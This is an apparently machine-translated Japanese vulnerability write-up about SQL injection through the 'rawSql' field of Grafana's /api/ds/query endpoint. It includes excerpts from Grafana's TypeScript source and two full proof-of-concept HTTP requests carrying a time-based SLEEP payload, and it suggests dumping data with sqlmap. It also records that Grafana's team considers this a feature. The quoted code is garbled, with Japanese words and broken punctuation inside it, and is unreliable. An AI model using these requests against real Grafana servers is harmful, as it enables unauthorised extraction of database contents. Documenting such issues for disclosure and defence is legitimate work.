脆弱性の説明
このSQLインジェクション脆弱性を悪用するには、有効なアカウントでgrafanaウェブバックエンドにログインし、/api/ds/query "rawSql "エントリに悪意のあるPOSTリクエストを送信する必要があります。
攻撃者がgrafanaウェブバックエンドにログインすると、/api/ds/query apiへのpostリクエストを使用することができ、そこで "rawSql "ファイルを変更して悪意のあるSQL文字列を実行することができる。データベースからデータが漏れる。
リスクレベル
高い
影響を受けるバージョン
grafanaの最新バージョンとすべての古いバージョン
脆弱性分析
影響を受けるコードブロックと関数
- grafana/packages/grafana-sql/src/datasource/SqlDatasource.tsファイル内のgrafana grafana-sqlパッケージ
// 注: これは常に `@grafana/data/getDefaultTimeRange` の時間範囲で実行されます。
async runSql(query: string, options?: RunSQLOptions) {.
const range = getDefaultTimeRange();
const frame = await this.runMetaQuery({ rawSql: query, format: QueryFormat.Table, refId: options?.refId }, range);
return new DataFrameView(frame);
}
private runMetaQuery(request: Partial, range: TimeRange): Promise {.
const refId = request.refId || 'meta';
const queries: DataQuery[] = [{ ...request, datasource: request.datasource || this.getRef(), refId }];
return lastValueFrom()
getBackendSrv()
.fetch({)
url: '/api/ds/query'、
メソッド: 'POST'、
headers: this.getRequestHeaders()、
data: {
from: range.from.valueOf().toString()、
to: range.to.valueOf().toString()、
クエリー
},
requestId: refId、
})
.pipe()
map((res: FetchResponse) => {.
const rsp = toDataQueryResponse(res, queries);
return rsp.data[0] ? { fields: [] } を返します。
})
)
);
}
- grafana/public/app/plugins/datasource/influxdb/datasource.tsファイルのgrafanaデータソースプラグイン
async metricFindQuery(query: string, options?: any): Promise {.
もし
this.version === InfluxVersion.Flux |||.
this.version === InfluxVersion.SQL ||.
this.isMigrationToggleOnAndIsAccessProxy()
) {
const target: InfluxQuery & SQLQuery = {.
refId: 'metricFindQuery'、
クエリー
rawQuery: true、
...(this.version === InfluxVersion.SQL ? { rawSql: query, format: QueryFormat.Table } : {}), ...(this.version === InfluxVersion.SQL ?
};
return lastValueFrom()
super.query({)
...(options ?? {}), // '範囲'を含む
targets: [ターゲット]、
})
).then(this.toMetricFindValue);
}
const interpolated = this.templateSrv.replace()
クエリー
オプション?
(value: string | string[] = [], variable: QueryVariableModel) => this.interpolateQueryExpr(value, variable, query)
);
return lastValueFrom(this._seriesQuery(interpolated, options)).then((resp) => {.
this.responseParser.parse(query, resp)を返す;
});
}
……
return lastValueFrom()
getBackendSrv()
.fetch({)
url: '/api/ds/query'、
メソッド: 'POST'、
headers: this.getRequestHeaders()、
data: {
from: options.range.from.valueOf().toString()、
to: options.range.to.valueOf().toString()、
queries:[ターゲット]、
},
requestId: アノテーション名、
})
.pipe()
マップ(
非同期(res: FetchResponse) =>.
await this.responseParser.transformAnnotationResponse(annotation, res, target)
)
)
);
GrafanaはDataSourceエージェントに送信されたクエリを検証しない
脆弱性の再発:
攻撃者は上記の手順を使用して、grafanaがSQLステートメントクエリを送信してバグを引き起こすSQLインジェクションを実行することができます。
grafana v8.0.4 poc:
POST /api/ds/query HTTP/1.1
ホスト:172.16.32.57:3000
ユーザーエージェント: qzd_security_test_user_agent
Accept: application/json、text/plain、*/*。
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.16.32.57:3000/d/AEo5dM44k/pei-xun-xi-tong?orgId=1
コンテントタイプ: application/json
x-grafana-org-id: 1
コンテンツ長: 142
Origin: http://172.16.32.57:3000
DNT: 1
接続:閉じる
Cookie: grafana_session=ede75844e20b0001a30e2c8522e5f1fc
{"queries":[{"refId": "A", "format"."time_series", "datasourceId":2, "rawSql":"(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)", "maxDataPoints":10000}]}.
バックエンドにログインして "Explore "をクリックし、burpを使ってPOST /api/ds/queryパケットをキャプチャし、"rawSql "エントリを悪意のあるsql文字列に変更する。を取得し、時間ベースのSQLインジェクションを取得します。
POST /api/ds/query HTTP/1.1
ホスト:172.28.171.25:3000
ユーザーエージェント: qzd_security_test_user_agent
Accept: application/json、text/plain、*/*。
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.28.171.25:3000/explore
コンテントタイプ: application/json
x-datasource-uid: edj6pz14v89a8c
x-grafana-device-id: 6eda885e8d5e5370781b533e605dd6fb
x-grafana-org-id: 1
x-plugin-id: mysql
コンテンツ長: 201
Origin: http://172.28.171.25:3000
DNT: 1
接続:閉じる
Cookie: grafana_session=dfa008ccdbe45635eed9592216f2f04a; grafana_session_expiry=1713514866
{"from": "1713492692433″, "to": "1713514292433″,"queries":[{"rawSql":"(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)"、"format": "table", "refId": "datasets", "datasource":{"type": "mysql","uid": "edj6pz14v89a8c"}}]}.
sqlmap を使用してデータをドラッグできるようになりました。
脆弱性の修正
GrafanaはDataSourceエージェントに送信されたクエリを検証しません。フィルタリングはデータソース側で行う必要があります。
公式のgrafanaセキュリティ・チームは、これを脆弱性だとは考えておらず、バックエンドの機能だと考えている。
しかし、私はそうは思わない。)
参照リソース
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/#limit-viewer-query-permissions
元記事はxbearによるもの。転載の際は、https://cncso.com/jp/grafana-sql-injection-high-risk-vuln-html。